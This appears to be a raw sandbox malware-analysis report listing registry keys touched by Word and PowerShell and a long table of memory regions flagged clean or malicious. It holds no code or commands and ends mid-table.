C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F514B
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SavedLegacySettings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F514B
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
There are 327 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
250000
unkown
page execute and read and write
 malicious
340000
unkown
page read and write
 malicious
400000
unkown
page execute and read and write
 malicious
80000
unkown
page execute and read and write
 malicious
470000
unkown
page execute and read and write
 malicious
430000
unkown
page execute and read and write
 malicious
3365000
unkown
page read and write
 malicious
238C000
unkown
page read and write
 malicious
2FBC000
unkown
page read and write
 clean
4291000
unkown
page read and write
 clean
994000
unkown
page execute and read and write
 clean
289F000
unkown
page read and write
 clean
2B50000
heap private
page execute and read and write
 clean
7FF00260000
unkown
page execute and read and write
 clean
2890000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
7FF001E0000
unkown
page read and write
 clean
2B90000
unkown
page read and write
 clean
1B40000
unkown
page readonly
 clean
3529000
unkown
page read and write
 clean
3519000
unkown
page read and write
 clean
1BD30000
unkown
page read and write
 clean
313D000
unkown
page read and write
 clean
820000
unkown
page read and write
 clean
1E30000
heap private
page execute and read and write
 clean
29AE000
unkown
page read and write
 clean
AC60000
heap private
page read and write
 clean
CD73000
unkown
page read and write
 clean
6914000
unkown
page readonly
 clean
1C13000
heap private
page read and write
 clean
C230000
unkown
page read and write
 clean
7FF000D2000
unkown
page execute and read and write
 clean
428F000
unkown
page read and write
 clean
72F0000
heap private
page read and write
 clean
310000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
7FF00210000
unkown
page read and write
 clean
1FF5000
heap private
page read and write
 clean
1B3AB000
unkown
page read and write
 clean
2F8A000
unkown
page read and write
 clean
3C7000
heap default
page read and write
 clean
140000
unkown
page readonly
 clean
632E000
unkown
page read and write
 clean
6FF000
unkown
page read and write
 clean
3068000
unkown
page read and write
 clean
244000
heap private
page read and write
 clean
1BA50000
unkown
page readonly
 clean
1C950000
unkown
page read and write
 clean
2A6A000
heap private
page execute and read and write
 clean
966B000
unkown
page readonly
 clean
420000
unkown
page read and write
 clean
2100000
unkown
page readonly
 clean
1C950000
unkown
page read and write
 clean
29E000
unkown
page read and write
 clean
1B6DD000
unkown
page read and write
 clean
1C70000
unkown
page readonly
 clean
2D20000
unkown
page execute read
 clean
8632000
unkown
page read and write
 clean
7FF00240000
unkown
page execute and read and write
 clean
26E0000
unkown
page read and write
 clean
1BCB0000
heap private
page read and write
 clean
2F83000
unkown
page read and write
 clean
2D0000
unkown
page read and write
 clean
1B4A4000
unkown
page read and write
 clean
35C6000
unkown
page readonly
 clean
1F2B000
unkown
page readonly
 clean
2790000
unkown
page read and write
 clean
220000
heap private
page read and write
 clean
1C950000
unkown
page read and write
 clean
7FF00250000
unkown
page read and write
 clean
10000
heap private
page read and write
 clean
3075000
unkown
page read and write
 clean
1C950000
unkown
page read and write
 clean
7FF000E5000
unkown
page read and write
 clean
610000
unkown
page read and write
 clean
2F2A000
unkown
page read and write
 clean
428C000
unkown
page read and write
 clean
4450000
unkown
page readonly
 clean
7FF00220000
unkown
page execute and read and write
 clean
7FF001F0000
unkown
page execute and read and write
 clean
6F94000
heap private
page read and write
 clean
2260000
unkown
page read and write
 clean
1C0000
unkown
page readonly
 clean
26F0000
unkown
page readonly
 clean
400000
heap default
page read and write
 clean
A10000
unkown
page execute and read and write
 clean
27A0000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
32C7000
unkown
page read and write
 clean
29AF000
unkown
page read and write
 clean
42C000
unkown
page read and write
 clean
300000
unkown
page read and write
 clean
30E8000
unkown
page read and write
 clean
E0000
unkown
page readonly
 clean
356B000
unkown
page read and write
 clean
4B4000
heap default
page read and write
 clean
4F30000
unkown
page readonly
 clean
3132000
unkown
page read and write
 clean
353F000
unkown
page read and write
 clean
420000
unkown
page read and write
 clean
3555000
unkown
page readonly
 clean
16B000
unkown
page read and write
 clean
3542000
unkown
page read and write
 clean
39A5000
unkown
page read and write
 clean
2FD2000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
980000
unkown
page execute and read and write
 clean
2E4000
heap private
page read and write
 clean
3A17000
unkown
page read and write
 clean
D0000
heap private
page read and write
 clean
A3DF000
unkown
page write copy
 clean
3729000
unkown
page read and write
 clean
18A000
unkown
page execute and read and write
 clean
2260000
unkown
page read and write
 clean
2D0000
unkown
page read and write
 clean
2AE0000
unkown
page read and write
 clean
663000
unkown
page read and write
 clean
3137000
unkown
page read and write
 clean
2F0000
unkown
page readonly
 clean
2FCF000
unkown
page read and write
 clean
1CD000
unkown
page read and write
 clean
F8F000
unkown
page read and write
 clean
7FF001B0000
unkown
page execute and read and write
 clean
315A000
unkown
page read and write
 clean
3357000
unkown
page read and write
 clean
2100000
unkown
page readonly
 clean
7FF000D2000
unkown
page execute and read and write
 clean
25D000
heap default
page read and write
 clean
470000
heap private
page read and write
 clean
F90000
unkown
page readonly
 clean
1C950000
unkown
page read and write
 clean
22E0000
heap private
page read and write
 clean
2690000
unkown
page readonly
 clean
66EF000
unkown
page readonly
 clean
3907000
unkown
page read and write
 clean
1C70000
unkown
page readonly
 clean
8BCD000
unkown
page readonly
 clean
C8D8000
unkown
page read and write
 clean
27D000
unkown
page execute and read and write
 clean
9A0000
unkown
page execute and read and write
 clean
320000
unkown
page readonly
 clean
CD30000
unkown
page read and write
 clean
356C000
unkown
page read and write
 clean
1EF0000
unkown
page read and write
 clean
446000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
2F67000
unkown
page read and write
 clean
B2A4000
heap private
page read and write
 clean
2F19000
unkown
page read and write
 clean
2E5B000
unkown
page read and write
 clean
BD2000
unkown image
page execute and write copy
 clean
341A000
unkown
page read and write
 clean
1B44D000
unkown
page read and write
 clean
2CB0000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
7FF001B0000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
299000
heap default
page read and write
 clean
670000
unkown
page read and write
 clean
1E80000
heap private
page execute and read and write
 clean
3B4F000
unkown
page read and write
 clean
BCF0000
heap private
page read and write
 clean
C8A5000
heap private
page read and write
 clean
670000
unkown
page read and write
 clean
2270000
unkown
page readonly
 clean
27C4000
unkown
page read and write
 clean
5230000
unkown
page read and write
 clean
9F0000
unkown
page read and write
 clean
26D0000
unkown
page readonly
 clean
9F0000
unkown
page read and write
 clean
CB73000
unkown
page read and write
 clean
37D000
unkown
page execute and read and write
 clean
3B5B000
unkown
page read and write
 clean
1B47C000
unkown
page read and write
 clean
7FF000D0000
unkown
page read and write
 clean
35CA000
unkown
page read and write
 clean
2533000
unkown
page read and write
 clean
12DF1000
unkown
page read and write
 clean
1C70000
unkown
page readonly
 clean
90000
unkown
page read and write
 clean
4520000
unkown
page readonly
 clean
2C60000
unkown
page read and write
 clean
3E27000
unkown
page readonly
 clean
2260000
unkown
page read and write
 clean
2C6F000
unkown
page read and write
 clean
4295000
unkown
page read and write
 clean
C610000
unkown
page read and write
 clean
2DBF000
unkown
page read and write
 clean
BD2000
unkown image
page execute and write copy
 clean
7FF00010000
unkown
page read and write
 clean
7FF00140000
unkown
page read and write
 clean
3AEB000
unkown
page read and write
 clean
1C950000
unkown
page read and write
 clean
364000
unkown
page read and write
 clean
1C950000
unkown
page read and write
 clean
434000
heap default
page read and write
 clean
300000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
2B20000
unkown
page readonly
 clean
2C8000
heap default
page read and write
 clean
2E7B000
unkown
page read and write
 clean
7FFFFF00000
unkown
page execute and read and write
 clean
7AC0000
heap private
page read and write
 clean
260000
heap default
page read and write
 clean
3A42000
unkown
page read and write
 clean
26F0000
unkown
page readonly
 clean
25D000
heap default
page read and write
 clean
2D20000
unkown
page execute read
 clean
35B7000
unkown
page read and write
 clean
580000
unkown
page read and write
 clean
3C9000
heap default
page read and write
 clean
7FF001A0000
unkown
page read and write
 clean
2ED0000
unkown
page readonly
 clean
C6D2000
unkown
page read and write
 clean
1C90000
heap private
page execute and read and write
 clean
29DC000
unkown
page readonly
 clean
1BD30000
unkown
page read and write
 clean
A7E000
unkown
page read and write
 clean
2F11000
unkown
page read and write
 clean
30F0000
unkown
page read and write
 clean
1AC90000
unkown
page read and write
 clean
1AF0000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
82DC000
unkown
page read and write
 clean
AAF0000
unkown
page write copy
 clean
300000
unkown
page read and write
 clean
1B910000
unkown
page write copy
 clean
34DE000
unkown
page read and write
 clean
50D000
unkown
page read and write
 clean
3695000
unkown
page readonly
 clean
2D0000
unkown
page read and write
 clean
34F4000
unkown
page readonly
 clean
2260000
unkown
page read and write
 clean
2370000
unkown
page execute and read and write
 clean
F0000
unkown
page read and write
 clean
2C50000
unkown
page read and write
 clean
240000
heap private
page read and write
 clean
2EC2000
unkown
page read and write
 clean
3018000
unkown
page read and write
 clean
410000
unkown
page read and write
 clean
3596000
unkown
page readonly
 clean
6C0000
unkown
page readonly
 clean
2F1C000
unkown
page read and write
 clean
660000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
430000
unkown
page read and write
 clean
180000
unkown
page write copy
 clean
3F9000
heap default
page read and write
 clean
3BB1000
unkown
page read and write
 clean
35E3000
unkown
page read and write
 clean
C94000
unkown image
page readonly
 clean
7490000
unkown
page write copy
 clean
35F9000
unkown
page read and write
 clean
7FFFFF10000
unkown
page execute and read and write
 clean
1F00000
unkown
page readonly
 clean
4DD000
heap default
page read and write
 clean
20000
unkown
page readonly
 clean
2F2F000
unkown
page read and write
 clean
2301000
unkown
page execute and read and write
 clean
1BD30000
unkown
page read and write
 clean
3860000
unkown
page readonly
 clean
3009000
unkown
page read and write
 clean
22FC000
unkown
page readonly
 clean
1F0C000
unkown
page readonly
 clean
A530000
unkown
page read and write
 clean
307E000
unkown
page read and write
 clean
3039000
unkown
page read and write
 clean
2FE4000
unkown
page read and write
 clean
670000
unkown
page read and write
 clean
2FFD000
unkown
page read and write
 clean
BD70000
unkown
page read and write
 clean
AFED000
unkown
page read and write
 clean
4AAE000
unkown
page read and write
 clean
300A000
unkown
page read and write
 clean
237E000
unkown
page read and write
 clean
355B000
unkown
page read and write
 clean
1D0000
unkown
page execute and read and write
 clean
42C000
unkown
page read and write
 clean
3028000
unkown
page read and write
 clean
2EC0000
unkown
page readonly
 clean
2F9C000
unkown
page read and write
 clean
43C000
heap default
page read and write
 clean
8890000
unkown
page readonly
 clean
2FAE000
unkown
page read and write
 clean
2710000
heap private
page read and write
 clean
2EB0000
unkown
page read and write
 clean
3A6C000
unkown
page read and write
 clean
2B1A000
heap private
page execute and read and write
 clean
290000
heap default
page read and write
 clean
E0000
unkown
page readonly
 clean
991000
unkown
page execute and read and write
 clean
B140000
unkown
page read and write
 clean
20FF000
unkown
page read and write
 clean
575000
heap default
page read and write
 clean
598000
unkown
page read and write
 clean
6FB3000
heap private
page read and write
 clean
3AF0000
unkown
page read and write
 clean
AFD0000
unkown
page read and write
 clean
3B79000
unkown
page read and write
 clean
2FE9000
unkown
page read and write
 clean
323000
unkown
page read and write
 clean
60000
unkown
page readonly
 clean
26B0000
unkown
page readonly
 clean
2187000
unkown
page execute and read and write
 clean
370000
unkown
page execute and read and write
 clean
2E90000
unkown
page read and write
 clean
1FF1000
unkown
page read and write
 clean
1C0000
unkown
page readonly
 clean
3AA6000
unkown
page read and write
 clean
2A20000
unkown
page readonly
 clean
967E000
unkown
page readonly
 clean
310000
unkown
page read and write
 clean
310000
unkown
page read and write
 clean
2A8F000
unkown
page read and write
 clean
1B4F0000
unkown
page read and write
 clean
3366000
unkown
page read and write
 clean
35B5000
unkown
page readonly
 clean
7FF00200000
unkown
page execute and read and write
 clean
1C730000
unkown
page read and write
 clean
390F000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
7FF000D0000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
2184000
unkown
page execute and read and write
 clean
25A0000
unkown
page readonly
 clean
1B0000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
30C8000
unkown
page read and write
 clean
400000
unkown
page read and write
 clean
1C950000
unkown
page read and write
 clean
2E7E000
unkown
page read and write
 clean
27C0000
unkown
page read and write
 clean
437000
unkown
page read and write
 clean
968E000
unkown
page readonly
 clean
2BE0000
unkown
page readonly
 clean
596F000
unkown
page read and write
 clean
317C000
unkown
page read and write
 clean
7FF000E5000
unkown
page read and write
 clean
B5E000
unkown
page execute and read and write
 clean
C8D0000
unkown
page read and write
 clean
379A000
unkown
page read and write
 clean
1B43F000
unkown
page read and write
 clean
2FDA000
unkown
page read and write
 clean
3545000
unkown
page read and write
 clean
36E4000
unkown
page read and write
 clean
7FF00160000
unkown
page execute and read and write
 clean
ACE000
unkown
page read and write
 clean
2304000
unkown
page execute and read and write
 clean
1B5A000
unkown
page read and write
 clean
2F50000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
3A31000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
2A71000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
8C2A000
unkown
page readonly
 clean
2890000
unkown
page read and write
 clean
1BEF000
unkown
page read and write
 clean
3136000
unkown
page read and write
 clean
420000
unkown
page read and write
 clean
16E000
unkown
page read and write
 clean
20000
heap private
page read and write
 clean
2720000
unkown
page read and write
 clean
424000
heap default
page read and write
 clean
1B61D000
unkown
page read and write
 clean
120000
unkown
page readonly
 clean
12EE2000
unkown
page read and write
 clean
3312000
unkown
page readonly
 clean
1BCF000
unkown
page read and write
 clean
2E0000
unkown
page readonly
 clean
800000
unkown
page execute and read and write
 clean
12C31000
unkown
page read and write
 clean
1E80000
unkown
page readonly
 clean
8662000
unkown
page read and write
 clean
3B40000
unkown
page readonly
 clean
7FF001D0000
unkown
page execute and read and write
 clean
4530000
heap private
page read and write
 clean
35FD000
unkown
page readonly
 clean
1B4F4000
unkown
page read and write
 clean
292F000
unkown
page read and write
 clean
36FD000
unkown
page read and write
 clean
660000
unkown
page read and write
 clean
7150000
heap private
page read and write
 clean
20D0000
unkown
page readonly
 clean
2890000
unkown
page read and write
 clean
12F01000
unkown
page read and write
 clean
CA8000
unkown image
page readonly
 clean
2A50000
unkown
page readonly
 clean
1B9A000
unkown
page read and write
 clean
2D1F000
unkown
page read and write
 clean
2AFB000
unkown
page read and write
 clean
2DBF000
unkown
page read and write
 clean
1C60000
unkown
page read and write
 clean
2E0000
heap default
page read and write
 clean
2890000
unkown
page read and write
 clean
170000
unkown
page write copy
 clean
2E90000
unkown
page read and write
 clean
2CA0000
unkown
page read and write
 clean
285D000
unkown
page read and write
 clean
30B000
unkown
page read and write
 clean
1D7000
heap default
page read and write
 clean
303C000
unkown
page read and write
 clean
7FF00210000
unkown
page read and write
 clean
360000
heap private
page read and write
 clean
7FFFFF10000
unkown
page execute and read and write
 clean
6F90000
heap private
page read and write
 clean
3710000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
D4000
heap private
page read and write
 clean
2C50000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
82D0000
unkown
page read and write
 clean
1BD30000
unkown
page read and write
 clean
7FF00240000
unkown
page execute and read and write
 clean
3318000
unkown
page readonly
 clean
1B45D000
unkown
page read and write
 clean
2666000
unkown
page read and write
 clean
3102000
unkown
page read and write
 clean
26C0000
unkown
page readonly
 clean
2587000
unkown
page readonly
 clean
35F6000
unkown
page readonly
 clean
1E3B000
heap private
page read and write
 clean
35DC000
unkown
page read and write
 clean
27D7000
heap private
page read and write
 clean
2940000
unkown
page read and write
 clean
1F07000
unkown
page readonly
 clean
660000
unkown
page read and write
 clean
3120000
unkown
page read and write
 clean
28A0000
unkown
page readonly
 clean
3228000
unkown
page read and write
 clean
32AE000
unkown
page read and write
 clean
3548000
unkown
page read and write
 clean
3114000
unkown
page read and write
 clean
2FB0000
unkown
page read and write
 clean
BD0000
unkown image
page readonly
 clean
2AB4000
unkown
page read and write
 clean
2E2E000
unkown
page read and write
 clean
3318000
unkown
page readonly
 clean
9BCF000
unkown
page readonly
 clean
2B30000
unkown
page read and write
 clean
2B30000
unkown
page readonly
 clean
1C66000
unkown
page read and write
 clean
4196000
unkown
page read and write
 clean
7FF00012000
unkown
page execute and read and write
 clean
36FA000
unkown
page read and write
 clean
465F000
unkown
page read and write
 clean
2C2000
heap default
page read and write
 clean
A328000
unkown
page read and write
 clean
1B5D0000
unkown
page readonly
 clean
2E38000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
689E000
unkown
page readonly
 clean
49FD000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
3663000
unkown
page read and write
 clean
12CC5000
unkown
page read and write
 clean
17B000
unkown
page read and write
 clean
BF70000
unkown
page read and write
 clean
3A87000
unkown
page read and write
 clean
2540000
unkown
page read and write
 clean
60000
unkown
page readonly
 clean
2EE000
unkown
page read and write
 clean
476000
unkown
page read and write
 clean
1BD30000
unkown
page read and write
 clean
3840000
unkown
page readonly
 clean
B09E000
unkown
page read and write
 clean
2E50000
unkown
page read and write
 clean
28BA000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
2E50000
unkown
page read and write
 clean
300000
unkown
page read and write
 clean
2AA0000
heap private
page execute and read and write
 clean
2F0000
heap private
page read and write
 clean
4510000
unkown
page execute and read and write
 clean
550000
unkown
page readonly
 clean
2C90000
unkown
page readonly
 clean
AD0000
unkown
page read and write
 clean
190000
unkown
page read and write
 clean
4800000
heap private
page read and write
 clean
7B40000
unkown
page read and write
 clean
35A2000
unkown
page readonly
 clean
2C90000
unkown
page read and write
 clean
597A000
unkown
page read and write
 clean
370000
unkown
page read and write
 clean
2B30000
unkown
page readonly
 clean
2E1F000
unkown
page read and write
 clean
28C9000
unkown
page read and write
 clean
39A9000
unkown
page read and write
 clean
310000
unkown
page read and write
 clean
3B9C000
unkown
page read and write
 clean
1E20000
unkown
page read and write
 clean
36D7000
unkown
page read and write
 clean
2F47000
unkown
page read and write
 clean
30C8000
unkown
page read and write
 clean
7FF00150000
unkown
page read and write
 clean
4FA000
heap default
page read and write
 clean
9D79000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
3986000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
2350000
unkown
page readonly
 clean
1E10000
unkown
page readonly
 clean
34E5000
unkown
page read and write
 clean
2597000
unkown
page read and write
 clean
1A0000
unkown
page read and write
 clean
250000
unkown
page write copy
 clean
2A20000
unkown
page readonly
 clean
1E50000
unkown
page readonly
 clean
7FF00210000
unkown
page execute and read and write
 clean
5DED000
unkown
page readonly
 clean
2890000
unkown
page read and write
 clean
3B30000
unkown
page read and write
 clean
31F2000
unkown
page read and write
 clean
2E60000
unkown
page readonly
 clean
F0000
unkown
page read and write
 clean
2EFE000
heap private
page read and write
 clean
2EF5000
heap private
page read and write
 clean
30EC000
unkown
page read and write
 clean
2FCA000
unkown
page read and write
 clean
2C0000
heap default
page read and write
 clean
2FA5000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
B322000
unkown
page read and write
 clean
30DC000
unkown
page read and write
 clean
30C2000
unkown
page read and write
 clean
3AEF000
unkown
page read and write
 clean
2FAA000
unkown
page read and write
 clean
2C80000
unkown
page read and write
 clean
2CFF000
unkown
page read and write
 clean
1D0000
unkown
page execute and read and write
 clean
60000
unkown
page readonly
 clean
44B0000
unkown
page write copy
 clean
39BA000
unkown
page read and write
 clean
3B64000
unkown
page read and write
 clean
3202000
unkown
page read and write
 clean
30D000
unkown
page read and write
 clean
3163000
unkown
page read and write
 clean
7FF0000A000
unkown
page execute and read and write
 clean
B1B000
unkown
page execute and read and write
 clean
2CD0000
unkown
page write copy
 clean
890000
unkown
page execute and read and write
 clean
43BC000
unkown
page read and write
 clean
407000
heap default
page read and write
 clean
D5000
unkown
page read and write | page guard
 clean
130A2000
unkown
page read and write
 clean
1FF4000
unkown
page read and write
 clean
2FBE000
unkown
page read and write
 clean
3A83000
unkown
page read and write
 clean
21E0000
unkown
page readonly
 clean
22C0000
unkown
page readonly
 clean
2520000
unkown
page readonly
 clean
7410000
unkown
page read and write
 clean
2A80000
unkown
page read and write
 clean
310000
unkown
page read and write
 clean
1B3F9000
unkown
page read and write
 clean
1BA70000
unkown
page read and write
 clean
C88000
unkown image
page execute read
 clean
7A9B000
unkown
page read and write
 clean
2F6B000
unkown
page read and write
 clean
3A1C000
unkown
page read and write
 clean
1B505000
unkown
page read and write
 clean
323000
unkown
page read and write
 clean
3B6E000
unkown
page read and write
 clean
430000
unkown
page read and write
 clean
2587000
unkown
page readonly
 clean
2F42000
unkown
page read and write
 clean
2AB0000
heap private
page execute and read and write
 clean
8471000
unkown
page read and write
 clean
1BF0D000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
A8E000
unkown
page read and write
 clean
1C950000
unkown
page read and write
 clean
3B08000
unkown
page read and write
 clean
3A77000
unkown
page read and write
 clean
27F0000
unkown
page readonly
 clean
29C0000
unkown
page readonly
 clean
38A0000
unkown
page readonly
 clean
2D0000
heap default
page read and write
 clean
1BD30000
unkown
page read and write
 clean
301D000
unkown
page read and write
 clean
1B4C0000
unkown
page read and write
 clean
26B0000
unkown
page readonly
 clean
2BC0000
unkown
page write copy
 clean
3170000
unkown
page read and write
 clean
1BC0000
unkown
page read and write
 clean
1BD30000
unkown
page read and write
 clean
2EE0000
unkown
page readonly
 clean
4B30000
unkown
page readonly
 clean
8654000
unkown
page read and write
 clean
77F0000
unkown
page read and write
 clean
90D2000
unkown
page readonly
 clean
70FE000
unkown
page read and write
 clean
2550000
unkown
page read and write
 clean
36E7000
unkown
page read and write
 clean
424000
heap private
page read and write
 clean
4060000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
43D000
unkown
page read and write
 clean
3198000
unkown
page read and write
 clean
18C000
unkown
page read and write
 clean
1A0000
unkown
page read and write
 clean
2C2000
heap default
page read and write
 clean
2E8000
unkown
page read and write
 clean
346000
unkown
